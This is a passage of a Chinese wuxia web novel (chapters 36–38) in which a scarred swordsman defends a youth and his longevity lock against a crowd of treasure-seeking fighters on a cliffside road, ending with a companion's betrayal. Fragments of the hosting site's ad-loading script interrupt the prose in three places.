木姜站起身,仍旧望着那烟花适才所在的方位,一只手不由自主地抚上心口,又逐渐攥紧。 来的是谁? ------------------------------ 雨馀凉不知道昨晚木姜是多久回来的,白天他醒来时,木姜已经坐在旁边,而篝火已然熄灭。 白光从茂密枝叶的缝隙里透射进来,周围时不时传来各种鸟鸣。 三人继续赶路,不知不觉间,便走到了一侧是悬崖的山路上。 这一路上,雨馀凉都觉得氛围变得怪怪的,好像有什么地方跟之前不同了。 无论是木姜还是鱼晚衣,似乎都没那么开朗了。 鱼晚衣是什么原因他以为自己还知道一些,但也只是他以为而已。而木姜是因为什么不爱说话了他就抓破脑袋也想不出。 难道是因为他身上的长命锁,木姜觉得他是个累赘了? 木姜完全是为了护住他被牵连进来的,想到这层,雨馀凉也确实对木姜感到抱歉。于是走上前去,对木姜道:“木前辈,你手上的伤如何了?” 木姜道:“皮外伤,不碍事。” 雨馀凉还待说什么,但瞥眼看见木姜肃然的神色,又怕木姜感到心烦,正犹豫不决时,木姜率先开口了:“是时候教你其他兵器的应对方式了,就从长鞭开始吧。” 雨馀凉闻言,心中一凛,知道木姜是让他在下次遇到万克礼时不至于毫无还手之力,于是恭敬道:“请前辈不吝赐教。” 木姜道:“鞭法,我不是很了解要怎么使,但也是种类繁多。” 这个雨馀凉知道,以长鞭为武器的人和门派虽然没有以刀或剑为武器的多,但长鞭鞭法的流派数量不亚于刀法或剑法。 “拆解鞭法,比拆解短兵多了一样,就是对步法有要求。毕竟软鞭长的可达数丈,使鞭的人尚在远处,鞭子就已经到了,攻击范围也大,四面八方,鞭尽可至。所以要对付鞭子,身法一定要灵活,要能做到忽进忽退,来去由心。” “你如今近身拆解之法尚未学全,要理解游走拆破之法就会有难度。等到了下一个歇脚处,我先把近身拆鞭之法最基本的几个路数教你,之后再慢慢和步法整合。” “使长鞭者,若要将人制住,最直接的方式便是……” 雨馀凉正对木姜所说侧耳而听,却听木姜说到一半便毫无征兆地戛然而止,雨馀凉尚未反应过来,只恍惚间看到前方突然闪出一道白光,木姜已然足尖一抵,一手拎起雨馀凉的衣领后颈后跃,他虽往后跃,却仍挡在鱼晚衣前方,同时手松开,将雨馀凉放下。 那人一斧劈空,又复纵上前来,筋肉虬结的手臂不断挥动,对着木姜就是一阵暴风般的狂劈。 36. 围猎(八) 木姜正对付那抡斧的壮汉,头顶斜上方三个方位又各落下一人,各展兵刃向木姜攻去。 木姜啧了一声,心道:“跟个鬼一样。”他先逼退使斧的壮汉,又挺刀分别拆解了之后的三人各自的招式。 当当当数声响后,四人落在地上,将木姜团团围住。 木姜抬眼看那四人,除使斧壮汉外,一人是个手握双刀的年轻汉子,眉宇间颇有英气;一人是个年轻妩媚女子,右手拉着一根绸带,绸带的另一头系在左手手腕上;还有一名男子是却是书生打扮,腻白如玉的手握一柄折扇,正姿态闲雅地一扇一扇。 木姜眼光在几人身上来回转了一圈,道:“几位何事?” 那使斧壮汉兰锋倒是直接,瞪着眼道:“把……把……长命……命锁……交……交出来!” 木姜双眼微眯。 见木姜没有动作,亦不答话,兰锋道:“不……不交……交……是吧?那……就……就……就别……他……他娘……娘的……怪我……我们……” 他还没说完,手握折扇的书生刘居琛便打断他:“行了兰兄弟,你交流起来这么费劲就别硬去干这种活了。”刘居琛啪的一声收拢扇子,看向木姜,一拱手道:“这位先生,我们是要借一借那两样宝物。” 木姜淡淡道:“借了,会还么?” 刘居琛用扇子在头上挠了挠,笑道:“这……大约不会吧。”他继续笑眯眯道:“不同意的话,我们就直接拿了,可能会有点痛。” 忽听得有人道:“几位朋友来得好早哇。” 众人皆往声音传来的方向望去。 一人背着手从山石后走出,那人体型单薄,从侧面看更是薄如纸张。双颊凹陷下去,眼睛半阖,神色萎靡,却是之前跟范舟诚和花蕊凤一行的舒玮。 昨日在酒家的群豪,大部分都丧了命,或是被木姜所杀,或是相互残杀而亡。少数几个见势头不对,逃了出去,当时场面混乱,木姜也没能一一灭口。 现在看来,昨日趁机溜走的人中就有舒玮,而他又纠集了另一拨人前来抢夺长命锁。只见他身后还跟着七八个人,似乎都是昨日没见到过的面孔。 木姜心想,那连江和万克礼还没到,被他们放出的消息吸引来的人就已经先一步到了,当真是…… 想到这里,他心里一阵烦躁。这之后,麻烦怕是会源源而至。 刘居琛道:“枯阎王,你也是来夺宝贝的吗?” 舒玮道:“那么依仁兄之见,在下是来做什么的呢?” 刘居琛道:“如今玉钥匙和人皮图现世的消息已经在江湖上传开了,”听到这里,雨馀凉心中一沉,刘居琛冷笑,“阎王爷来这里不是为了夺宝,难道是来看风景的吗?” 舒玮哈哈大笑了几声,道:“不满诸位说,诸位能知道这件事,还得感谢我,因为是我将这消息,放到江湖中去的。” 昨日一番拼斗之后,舒玮一看木姜施展开招式,便知他们这些人不是其对手。 其他人以为蜂拥而上就能有胜算,但舒玮凭借自己的经验和鸡贼,判断出即使这样,要解决木姜也悬。 于是他没有像其他人那样再上,而是隐在一旁的树丛中观察情况。哪怕是之后连万二人将木姜拖住,舒玮也没有轻易现身,他要等到大局基本定下时再决定是否行动。 之后舒玮见只剩下连江、万克礼、木姜、雨馀凉、鱼晚衣这几人,已知今日捞不了便宜,便神不知鬼不觉地离开了。他想要宝物,可无论是连万二人还是木姜他都对付不了,于是舒玮用了和万克礼一样的办法,将玉钥匙和人皮图出现的消息,以及雨馀凉一行人的特征皆散布于江湖之中,引得众人前来抢夺,自己再趁乱行事。 听他这么说,兰锋和谢居琛相互看了一眼,年轻英气汉子与年轻妩媚女子也对视了一眼。 过了一会,那年轻妩媚女子李芙蕖道:“是你放出的又怎样?玉钥匙和人皮图难道是你舒家的东西?” 年轻英气汉子季凌沧道:“蕖妹说得是极,都是来抢宝物的,谁又比谁更有资格了?” 舒玮只呵呵一笑,并不答话。 刘居琛道:“闲话少说,上!”一滑步已绕到木姜身后,举扇就往后者头顶砸下,与此同时兰锋、李芙蕖、季凌沧三人也纵身上前。 舒玮见这四人只顾去打木姜,有些感到疑惑,但见雨馀凉那边只有他一个人,顶多加上一个鱼晚衣,当下也不多想,嘿的笑了一声,就提气朝雨馀凉跃去。 雨馀凉和鱼晚衣见舒玮冲他们过来,雨馀凉抽出长刀,鱼晚衣手掌一翻,已握住了三棱钢刺,二人联手对敌。 过了一会,舒玮就觉得自己似乎碰上了个之前没注意的钉子。 他先前还以为唯有木姜值得忌惮,结果跟雨鱼二人动上手,才发觉就算有人把木姜拖住,要拿宝物也比自己想象的吃力得多。 舒玮回头对自己带来的八个人道:“你们快来,大家伙一同对付这两个人!”八人闻言,一齐上前,拳脚兵刃都往雨鱼二人身上招呼过去。 这招果然奏效,鱼晚衣同时对付五人,虽然不至于落在下风,但已无暇去留心雨馀凉。雨馀凉同时对上三人,便有些手忙脚乱,心中渐渐慌了,心里一慌,使出来的招式便越发不成章法。 昨日听那万克礼所说,宝物应当在雨馀凉身上。舒玮瞅准时机,一掌拍中雨馀凉胸口,雨馀凉身子被这股掌力击飞,摔出丈许之外。 舒玮本不知道玉钥匙和人皮图被雨馀凉藏在身上哪个地方,只是随意拍出一掌。不想手掌触到雨馀凉胸口时,似乎摸到了什么坚硬的东西,他心中一动,顺手将掌力往上一带,那长命锁便从雨馀凉胸口竖直向上飞了出去。雨馀凉身子摔落在地时,长命锁仍往上升了两三尺,这才又笔直地落下。 舒玮定睛瞧那物,发现只是一把发黑的长命银锁,既不是玉,也不是图,心中大是失望。但雨馀凉见长命锁掉出,连起身都来不及,忙不迭地就朝那长命锁连跑带爬地扑去,另一头木姜刚将四人中的三人打伤在地,见到这一幕,也是微露惊愕之色,一脚将最后还站着的刘居琛踹倒,忙向这边过来。 舒玮眼见二人神色反应,再看地上的那把长命锁,忽然嘴角一勾,也朝那把长命锁而去。 刘居琛单脚跪地支撑着身子爬起,见木姜、雨馀凉、舒玮似乎都要去拿那长命锁,忽然转头对兰锋等人道:“宝物究竟是在谁的身上?” 李芙蕖和季凌沧看向兰锋,他们最开始都是跟着兰锋打的木姜。 兰锋一脸懵的表情,之前的他们得到的消息,带着玉钥匙和人皮图的是一行三人,两女一男云云,但宝物究竟在这三人中哪一个的身上,消息并没有提到。 而对兰锋而言,三个人中,他第一眼看见的是木姜,就认定木姜是长命锁的所有者。虽然很奇怪,但他就是这样就认为了,二话不说对着木姜一个人就是一通猛烈的出招,其余三人在不知不觉中也就被带歪了。 现在刘居琛突然意识到,好像从一开始就有哪里没弄对。他头略微一低,道:“是那长命锁!” 木姜、雨馀凉、舒玮三人中,舒玮离长命锁最近,他几步上前,弯腰就要将那长命锁捡起,忽然眼前黑影一闪,木姜已先他一步将长命锁捞起,舒玮怎肯善罢甘休,伸手就向木姜的手抓来。木姜匆忙之中捞起长命锁,眼见舒玮来抓,忙抬手避开,舒玮虽没能抓回,但他的手还是碰到了长命锁,木姜一个没拿稳,长命锁在二人的共同作用下又飞起了数尺,二人还待要抢时,一根绸带飞来,将长命锁拨了开去。 木姜和舒玮同时朝绸带飞来的方向看去,见李芙蕖等四人快速朝这边奔来,心下明了方才正是李芙蕖用绸带将长命锁打开。二人又快速回头,同时朝着长命锁而去。 那 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 长命锁被绸带弹开了老远,木姜和舒玮几乎同时来到长命锁旁边,二人又着急要拿到长命锁又要防止对方抢到,情况便演变成了每当其中一人伸手时,另一人便出招攻其破绽,后者便不得不回手拆解或封挡,如此一来,短时间内二人谁都没拿到长命锁,而李芙蕖、刘居琛等人也已经赶到。 木姜擅长拆招破招,当即集中心力观察舒玮的招式,找到破绽后刀刃一削,舒玮便受了伤。他本身武功不差,木姜一刀削来时,他虽未能躲开,但也没让这一刀削得太深。木姜无暇再补刀,见出现了这一瞬的空隙,顺势以刀尖去挑那长命锁,不想刀尖刚碰到长命锁,李芙蕖的绸带又一次将长命锁远远地拨了出去。但这一次甩得太远,长命锁飞到了山崖边上,几乎有一半露在了山崖外。 先前雨馀凉本欲去拿长命锁,但见木姜过去了,心便放下了一半,转头看见鱼晚衣被八人围攻,便过去帮鱼晚衣。鱼晚衣见雨馀凉过来,道:“这我能应付得了,你快去把长命锁抢回来!” 雨馀凉道:“等把这些人料理了一起去!” 鱼晚衣想说什么,却又说不出,转身一刺刺入了一名敌人的咽喉。 木姜那边,舒玮和刘居琛等四人不同道,而刘居琛、兰锋、李芙蕖和季凌沧也都有各自的小九九,并非完全是一条心。 季凌沧见长命锁差点落下悬崖,便对李芙蕖怒吼道:“你在干什么?” 李芙蕖也怒了,迎着季凌沧也吼道:“不是还没掉下去吗?你吼什么?” 刘居琛皱眉道:“行了行了,现在不是吵架的时候,先拿到东西!” 木姜见眼下形势,心知不先把这五人打倒今天是势必没完没了了,遂首先冲向那使斧壮汉兰锋,兰锋见木姜长刀刺到,立即矮身闪避,同时巨斧上划,他虽体型巨大,手中的那把板斧也远比一般的斧子大,但他动作依然迅捷,那沉重的巨斧到了他手上竟有如无物。 被这斧子挨到一下,身子势必当场断成两截。木姜不欲正面硬接这一斧,斜身反刺,刀锋刺入兰锋右手小臂。兰锋大叫一声,那巨斧便握不住,手一松,板斧落下来,发出一声巨响。 木姜一招得手,并不停留,又朝崖边急赶。 另一头,舒玮来到崖边,刚要拿长命锁,一把扇子忽挟着一阵劲风而至,舒玮忙交叉双臂于胸前格挡,那扇子撞上舒玮双臂,发出当的一声响。舒玮被撞得贴着崖边往后滑出数尺,他袖子被这股巨大的力道撕裂,小臂却并未受伤,原来他袖子下两条手臂皆戴了玄铁护腕,刀枪不入。但他小看了刘居琛附在这把扇子上的内力,手臂虽没有受伤,但胸口仿佛被一块巨石击中,哇的一声吐出一口血来。 刘居琛一手接住弹回的扇子,一手就要去拿长命锁,眼角余光却瞥见刀光突至,啪的一声,折扇打开,反手就向木姜面门削去。木姜手腕一斜,刀尖径刺他小腹,刘居琛忙身子跃向半空,在空中倒转身子,折扇又往木姜后脑削落。木姜反手横刀格住这一扇,一拧身左掌倏地拍出,刚好拍在刘居琛胸口,刘居琛倒着摔了出去。 木姜刀尖往崖边一扫,那长命锁便到了他手上,就在此时,两把刀和一根绸带便先后欺近。 木姜把长命锁的链子往左腕上一绕,便举起长刀荡开双刀中的其中一把,就在木姜的长刀要碰上另一把刀时,那绸带在空中拐了个弯,突然绕上了木姜的手腕。李芙蕖顺势一扯,木姜握刀的那只手便被扯到了旁边,季凌沧看准机会,一刀对准木姜躯干自上而下地砍下,木姜侧身躲过,同时左手去拿右手握着的刀,刀交于左手后,刀柄往季凌沧侧脸一撞,季凌沧身子飞出,砸中了李芙蕖,二人双双倒地。 绸带松开,木姜将右腕抽出。再看雨馀凉和鱼晚衣那边,两人也刚好解决掉舒玮带来的八人中最后一人.。 半山腰的山路上斗得热闹,路旁的树丛中,山顶上,却有两路人马同时在观望。 37. 围猎(九) 早些时候,连江一只手平举在眉前,俯瞰斜下方道:“我们还不下去么?” 万克礼双脚大开坐在他旁边,背脊弓着,两条小臂分别放在两边大腿上,也看着下方道:“再等等。” 等看到木姜将长命锁重新夺了回去,万克礼道:“果然不能对这些人抱有期望。”他转头对连江道:“差不多了,该我们出手了。趁这些人还活着,让他们为我们发挥最后的作用。” 木姜刚要把长命锁交还给雨馀凉,只听身后传来两声轻响。 原来是连江和万克礼从天而降。 雨馀凉看清来人后,如见鬼了一般惊愕不已,木姜回头看到是连万二人,重重地叹了口气,道:“又是你们!” 连江正准备说话,木姜却突然眼眸看向一旁,万克礼也忽然“嗯?”了一声,头转向旁边的树林道:“是哪路的朋友?不妨现身一叙。” 听万克礼这么一说,连江才知道旁边还有人,他神经骤然紧绷起来。 来人不简单,竟然连他都没发觉。 万克礼注视的方向是靠近里侧崖壁的一片树林,片刻后,树林后走出十数个人出来。 这些人腰间都悬挂着一块铜牌,铜牌上赫然是一个草书的“玄”字。 万克礼和连江对视一眼。 魔教的人怎么会在这里? 木姜怔愣在原地,已经忘了要把长命锁还给雨馀凉。雨馀凉注意到木姜的脸上颇有些神色不定,但很快又恢复了平时的样子。 万克礼和连江都不动声色地做好了随时拔出兵刃的准备,连江道:“哟,这不是魔教的朋友吗?什么风把你们给吹来啦?” 那些魔教教徒并不答话。 刘居琛刚从地上爬起,道:“你们是什么人?也是来夺宝的吗?”“吗”字还没说完,刘居琛便已蹿至魔教领头那人跟前,一扇自下而上地戳去。 领头那人三十来岁,体型在男性中不算高,身材倒是匀称,浑身上下显露出一股严肃的气质,此人是玄同教明夷坛坛主,名叫鲁若勉。鲁若勉见他一扇戳来,一手捏住刘居琛握扇那只手的手腕,一手握住一把短直刀,似是随意地一划,刘居琛突然双手拼命地挠着喉咙,折扇落在地上,他转过身时,雨馀凉才看见鲜血从他咽喉处一股股地涌出来,过不多时,刘居琛便直挺挺地倒在地上死了。 其实刘居琛本不至于就这样轻易被杀死,只因为他对宝藏太过渴望,本来同为夺宝者的舒玮的出现就已经让他心烦,此刻又来了两路人马,刘居琛心里认定,这两路人马出现在这里,不是为别的,都是要来跟他争夺玉钥匙和人皮图的。 木姜才当着刘居琛的面将长命锁夺了回去,刘居琛身上尚自疼痛,看见来的人越来越多,本来志在必得的东西眼看着离自己越来越远,他大是不甘,心里越发毛焦火辣,一时失去理智地冲过去,全没意识到自己情绪激荡间大露破绽,也没想到对方毫不留情,便如此送了性命。 连江嘿嘿一笑道:“魔教心狠手辣,果然名不虚传。” 雨馀凉暗暗心惊,心想这些人就是水西魔教中人?看到他们腰牌上草书的“玄”字,对这些人来自魔教也更不怀疑。 水西魔教本名叫做玄同教,因为该教曾经将水西武林搅得天翻地覆,其行事之残忍决绝,已经到了骇人听闻的程度,所以便被称为“魔教”。魔教不仅在水西出名,就连水南、水东的小孩都知道魔教是邪恶人士的聚集地。 雨馀凉因为从小就听过有关水西魔教这样那样的传闻,所以在他的想象中,魔教中人都是一副诡异骇人的模样,今日亲眼看到,才知原来他们长得跟正常人也没有差别。 只是手段残忍这点,倒也与传闻无二。 万克礼心想,魔教的人怎么会在这里出现?又想到,最近掌门不知发什么疯,要成立什么“剿魔联盟”,联合水西的殊华、丹阳、凌虚、天影、雪山、碧逍等大派,择日将魔教完全消灭。 就魔教现在那个样子,放在那不管也没什么威胁,为什么要主动去招惹? 万克礼摸不透掌门的内心,然而今日在水南看见魔教的人,如今水西往水南跑的只有水西卫氏和岑氏以及他们各自的盟友,魔教派人来水南做什么?万克礼突然觉得,自己之前错怪掌门了,掌门这么做,也许是有他的道理。 眼下麻烦的是,难道玉钥匙和人皮图的事,魔教也知道了? 万克礼对鲁若勉挤出一个笑容,道:“没想到这荒山野岭的,一下聚集了这么多人。魔教的朋友,敢问来此究竟是所为何事?” 鲁若勉面无表情道:“无可奉告。” 万克礼不禁心中恼怒,心想你是江湖中人人得而诛之的魔教,我这么客气地对你说话,已经算是很够意思,你态度反而如此傲慢。但想到之后还有要事,魔教的立场也尚不明了,此刻不便与鲁若勉撕破脸,于是强自按下怒气,又道:“难道是在场之人中有阁下认识的人?若是有,不妨指出,若是跟我们要做的事无关之人,一会我们留意不误伤这人就是了。” 鲁若勉道:“阁下请便,我们两不相帮。”说着便与身后的魔教教徒纵身从崖壁跃了上去,一直跃上山顶。 到山顶后,鲁若勉身后一人道:“坛主。” 鲁若勉并不回头,道:“何事?” 那名教徒道:“玉钥匙和人皮图是稀世珍宝,如今在水南出现,我们又刚好在这时来到水南,岂不是天赐良机?” 鲁若勉道:“现在我教的当务之急不是这个,不必为那种虚无缥缈的东西抢得头破血流,我们只要做好教主交给我们的事,不出差错就行。”他虽否定了下属的提议,但还是想着之后要把玉钥匙和人皮图出现的消息上复给总坛。 那名教徒道:“是。” 山崖下,一众人望向玄同教诸人离开的方向,一时半会还没回过神来。 魔教的这帮人,来得突然,走得也很突然。 万克礼见魔教中人的身影消失在山顶之后,便转过头来,对雨馀凉道:“那么,现在该解决我们的事了。” 兰锋突然插口道:“就……就……这么……让……让……那魔……魔……魔头……走……走了?” 连江看他一眼,道:“不然呢,你要跟他单挑?” 兰锋脸红了,没再说话,只是嘴里仍嗫嚅着什么。 雨馀凉不知哪来的勇气,道:“什么怎么解决?这本来就是我的东西。” 连江忽然盯着雨馀凉的脸看了好一会,之后嗤的一声笑了出来,对万克礼道:“喂,老四,一会能把这小子交给我吗?我看他怎么这么来气呢?” 万克礼道:“先把东西弄到手,之后随你怎样都行。” 连江欢呼一声,随即向雨馀凉冲过来。 雨馀凉刚拔刀出鞘,木姜便闪身到了他身前, 连江道:“哈,就知道你会来!”说着挺剑朝木姜斩了过去。 这是木姜第三次跟连江交手,连江的剑刚跟木姜的刀相碰,连江就将带有狂态的笑容收敛了,他知道这是个容不得自己大意的敌人。 雨馀凉和鱼晚衣站在数丈外,在想用什么办法能帮到木姜。二人的近身对决,他们是插不进手的。鱼晚衣倒是还有一手飞针,但木姜和连江二人俱在不断移动,她虽能准确掷中移动的目标,但木姜和连江身形交换的速度实在过快,万一她没掷准,飞针扎在木姜身上,连江抓住这一瞬的空隙伤了木姜,一切就都完了。 就在此时, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 连江身形一滞,鱼晚衣知道这是个机会,食中二指掐住一根银针掷出,不想银针飞到中途,便被什么东西打了下来。 那东西弹落了鱼晚衣的银针,本身轨迹并不改变,带着一道白光夺的一声钉入了一旁的树干。 那树被震得晃了两晃,树叶纷纷而下。 鱼晚衣朝树干上定睛一看,原来是柄飞刀。 她忙向飞刀掷来的方向看去,只见万克礼站在那里。 万克礼掷出了一柄飞刀,手上仍把玩着一柄飞刀,道:“小丫头,莫以为只有你会使暗器。” 匕首、长鞭、飞刀,乃万克礼平生三项绝技。 这回万克礼改变了策略,没再以匕首或长鞭与连江的剑法配合起来攻击木姜,而是站在远处以飞刀辅助连江进攻。连江以剑法对付木姜,连江则手执飞刀,在一旁伺机掷出。万克礼没有鱼晚衣那般的顾忌,数十数道白光接连激射而出,但不论木姜和连江如何移形换位、辗转腾挪,这些飞刀最终总是射向木姜,并不曾误伤连江。 木姜一边跟连江过招,一边还要注意从四面八方射来的飞刀,或闪避,或用手和长刀弹开,或借飞刀反打连江和万克礼,如此与连江斗了十数合后,连江依然逐渐显出劣势,就算有万克礼在一旁以飞刀相助,他也越发接不住木姜的出招了。 万克礼看得真切,心想果然这般亦奈何不了木姜。恰在此时,连江一边将剑竖起硬格木姜的来招,也一边对万克礼喊道:“喂,老四!我们是不是应该试试那法子啦?我有些……抵挡不住了!” 万克礼道:“好!”突然双足力蹬,高高跃起,一掌向木姜拍来。 木姜右手握刀拆了连江的一招,左掌亦向上扬起,要以掌破拆万克礼的这一掌。 木姜的手并没有跟万克礼的直接相接,但光是二人的手掌堪堪擦过,木姜都感觉到万克礼这一掌上所蕴含的内力甚是沉重,十分惊人,不由得暗自愕然。 万克礼回头对四散在一旁的舒玮、兰锋、李芙蕖、季凌沧道:“喂,别看戏了,咱们一同把他料理了,一会宝物谁拿到就是谁的,若不先把他杀了,一辈子都别想拿到宝物啦。”说到这里,万克礼目光快速从刘居琛尸体上掠过,心想这人干什么不好要去招惹魔教的人,害他们现在少一个人牵制木姜。 舒玮等人听了万克礼所说,都深以为然,几乎同时跃向木姜,各展兵器向木姜攻去。 万克礼和连江则将浑厚内力灌注于掌心,一掌掌呼呼拍向木姜。 昨日那场恶战后,连万二人在酒家休整时,连江说木姜难以对付,宝物怕是拿不到手了,万克礼默然不语,心里却也认同连江所说。之后随意谈起木姜的武功,二人都提到木姜在破拆他们的招式时,很多时候明明能将他们击伤,刀刃落下时却几乎没有力道。 连江道:“是为了引我们使出更多我们的武功招式吧,他跟我们过招时,不就把很多我们的招式拿去现学现用了吗?这人究竟什么来头?专喜化用别人的招式,这种爱好真是变态。” 万克礼也是这么认为,却突然心中一动,打断连江道:“有没有可能,他不是不想使力,而是不能使力?” 连江道:“不能使力?没有吧,他想使力时,刀上劲道还蛮强。” 万克礼一拍手道:“关键就在于这个‘他想使力时’。一般的武林人士,无论内功修为如何,内力是强是弱,要发动内功时,内力都是能绵绵不断的。但据我所知,有一种经脉损伤,受这种伤的人虽然也能聚气,但不能连续运使内力。” 连江道:“你是说,那疤脸汉经脉受了损伤?” 万克礼踱到窗边,背着手看向窗外,道:“只是猜测,不过,我有法子能印证这个猜测。” 38. 围猎(十) 若论单打独斗,木姜是破招拆招的高手,舒玮等人虽不是一般的江湖小虾米,木姜也能轻易拆解他们的招式,但他们合力进攻,木姜虽知道怎么拆招,却只有两只手,无法应对多人同时向自己攻来的精妙招式。 饶是如此,木姜也还能应付。但眼下还加上了连江和万克礼,并且不知是不是二人发现了什么,连万二人这次朝他进攻,每一招都挟了极深厚的内力,如狂风般一阵紧似一阵。 他们这种打法虽然威力巨大,但对体力的消耗也更快,所以习武之人对决时,并不会招招都附着强劲的内力,像是虚招这类主要目的是迷惑敌人的招数,就没有必要附着内力。 然而连江和万克礼内力雄浑,就算是这样也能坚持很久。他们二人虽是攻击木姜,但内力带起的劲风凌厉,刮到舒玮等四人脸上,让四人脸颊也隐约生痛。 先前由于敌人不是每一招上的劲力都这么强盛,再加上木姜以拆解对方招式的方法规避敌招,所以就算敌人攻来的一招所挟的内力再强,这一招不能打在他身上,也对他构不成什么威胁。 然而此时被一群好手围攻,木姜难免左支右绌。舒玮等人也懂得配合连江和万克礼,每当木姜要想拆解连万二人的招式时,舒玮等四人都各自出手封住木姜拆解的一条路数,要逼得木姜去硬接连万二人饱含内力的一击。 但木姜似乎总能想出让人意想不到的方式将连万二人的招式拆解了,舒玮等四人分别封住四个方向,无论连万二人的掌法剑法匕首招数如何变化,木姜的刀总能划向第五个方向并拆解二人的招式。 见此情形,连万二人用出的招式路数也越发繁复,木姜要拆解起来也越发困难,终于在连江的一掌又一次拍来时,木姜没能拆解得了,唯一想出的拆解的刀路也被舒玮提前堵死,短时间内想不出其他拆解敌招的法子,退也不行,避也不行,木姜无法,只得伸出左掌硬拍了上去。 两股强劲的内力相激,所有人都不由得倒退了数步,连江和万克礼站定后,又朝木姜攻来,舒玮等人也继续上前,木姜又接着对敌。 连江和万克礼见终于有一招木姜没能拆解得了,都打起了精神,继续以方才那套掌法对付木姜,片刻后,木姜再一次被逼得只能以掌硬接万克礼的一掌。 能不能接下这一掌,木姜全没把握。 木姜没受伤时,在内功修炼上的体会也远不如他在武功招式上的体会,更何况数年前那次经历让他经脉俱损…… 方才硬接连江的那一掌,已将他一段时间内能用出的内力全部耗尽,眼看自己的手掌与万克礼的手掌就要相接,而强行运气,丹田处疼痛万分,木姜额角滑下一滴汗珠。 雨馀凉看出木姜似有危险,也顾不了那么多,当即提刀过来,对着季凌沧就直刺过去。季凌沧听到身后风声,回头一看,见是雨馀凉,季凌沧压根没将雨馀凉放在眼里,道了声“找死”,右臂一探,便朝雨馀凉侧颈削去。 季凌沧这么一分心,木姜便从他这一方位找到了机会,当即回掌后撤,从季凌沧所形成的空隙抽身出来,并顺势抢身到雨馀凉前方,刀刃下沉,要斩季凌沧的右臂。季凌沧忙右臂旁掠,堪堪躲开木姜这一刀。 木姜着急救下雨馀凉,左侧就露出了破绽,刚好兰锋在他左边,见木姜衣袖扬起,露出先前缠在手腕上的长命锁来,当即一把抓去,那长命锁便到了兰锋之手。 兰锋在众目睽睽之下拿到了那长命锁,木姜、连江、万克礼、舒玮、李芙蕖、季凌沧立即调转方向,刀剑手掌绸带,纷纷向兰锋杀去。要不是他那巨斧厚重,将众人的轮番进攻尽数挡了下来,此刻已被被戳成了筛子。 众人攻势接连不断,兰锋被压着打了良久,丝毫没有反击的间隙,心中也恼火至极,壮硕的身子携着巨斧忽飞速旋转,绝地使出这样粗暴的招式反打一番,周围的人马上四散退开。 舒玮退得慢了些,被那巨斧劈中,当即拦腰断成两截。 万克礼在空中翻了个身,身形晃动间,长鞭如一条长蛇般忽地飞出,缠上了兰锋的脖子,兰锋身体兀自旋转,鞭子就这样在他脖子上多绕了几圈。兰锋这时才感觉到脖子很勒,忙把手上的巨斧和长命锁都丢在地上,双手抓住鞭身要把鞭子从脖子上扯下来。 万克礼手臂一扬,兰锋身子便被甩上半空,继而落下悬崖。只是他坠崖时没有发出任何惊叫,身体在空中时也如面条般软绵绵的,原来是在半空中已给长鞭颈骨折断而死。 雨馀凉见兰锋将长命锁扔在了地上,赶紧跑过去将长命锁捡起揣进怀中。万克礼和连江双双跃起向雨馀凉扑过去,就在这时,一抹黑影闪过,木姜横刀挡在雨馀凉身前。万克礼和连江同时变招,一齐举掌向木姜拍去,李芙蕖和季凌沧见状,分执绸带和双刀也向木姜一左一右地攻去。 忽然之间,木姜体内气血一阵翻涌,紧接着眼前一黑,当双目再能视物时,四名敌人已尽至眼前,砰的一声,木姜的长刀旋转着飞上了半空,那刀在空中兀自停留了一阵,这才啪的一声插入数丈之外的地下。 木姜长刀被击飞,敌人的招式虽然没有直接打中他,但势道由长刀传到木姜躯体,使他不由自主地向后滑出。 木姜心道:“刚刚是怎么回事?难道是自己准备第二次硬接敌人一掌时,强行提气导致的吗?” 连万二人一掌起了成效,立即调整姿势,紧接着第二掌又同时拍到,木姜才缓过来,便见两掌离自己只有数寸远近,已来不及拆解。 连江和万克礼来势汹汹,且木姜清楚自己比起这二人少了至少十年内功修为,要他和这两人硬碰硬,即使是在他经脉俱损之前,也尚自要犹豫一番。但眼下情形又哪容他多想,木姜顾不得提气时丹田如刀割般剧痛,当即分开左右两掌分别与连万二人双掌相抵。 木姜感到双臂逐渐酸软难当,仍暗自咬牙支撑。啪的一声,木姜、连江和万克礼分别向后退开。 木姜左右手分别硬接了连万二人一掌后,只觉手臂如脱力一般,却随即又转身对正准备朝自己甩出绸带的李芙蕖拍出一掌,李芙蕖连忙躲在一块山石之后,木姜一掌击上山石,掌力和被激飞的石块同时打中李芙蕖胸口与腹部,李芙蕖身子被击飞,尚在半空时便喷出一口鲜血,等到摔至地上,已然了账。 与连江和万克礼对完掌后又击碎山石,木姜的手臂不受控制地微微颤抖,但隐藏在宽大的衣袖下,也无人看出。连江和万克礼也被木姜惊到,连江长叹一声,对万克礼道:“万老四,你的猜测错啦。” 万克礼见木姜如此,不像是经脉受损的样子,心内倒是起了几分退意。如此看来,今天是怎么也奈何不了这疤脸汉了。 忽听得雨馀凉惊愕的声音传来:“鱼姑娘,你这是做什么?” 木姜等人激斗时,鱼晚衣神不知鬼不觉地来到雨馀凉身边,雨馀凉对鱼晚衣全不设防,不想鱼晚衣突然二指伸出,点了雨馀凉的穴道,随后再将手伸进他胸口,将长命锁取了出来。 鱼晚衣并不回答雨馀凉的话,转身离去。 见鱼晚衣拿了长命锁就要走,连江、万克礼、季凌沧先是一愣,随后纷纷上前,挺起各自的兵刃就要往鱼晚衣身上招呼过去。 电光石火之间,司马黼和司马黻不知从哪冒出,交叉上前,兄妹二人双臂上举,紧接着就有一面无形的气盾挡在他们面前,将长剑匕首双刀尽皆拦下。众人只觉一股大力 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 从自己的兵刃传到手上,似是那气盾将众人的劲力反弹了回来,连江、万克礼、季凌沧皆虎口剧震,季凌沧更是连刀都握不住,哐当、哐当两声,两把刀俱落在地上。 雨馀凉再定睛一看,只见鱼晚衣与邢勘并排站在山崖向外突出的一块巨石之上。 他认得邢勘,之前在谷州府见过,知道他是鱼晚衣的同僚。 雨馀凉被点了穴道,周身动弹不得,只望着山崖上的鱼晚衣,道:“鱼姑娘,你这是……”雨馀凉感到体内有什么东西在逐渐碎裂开,但他仍抱有一线希望,也许事实不是他想的那样。 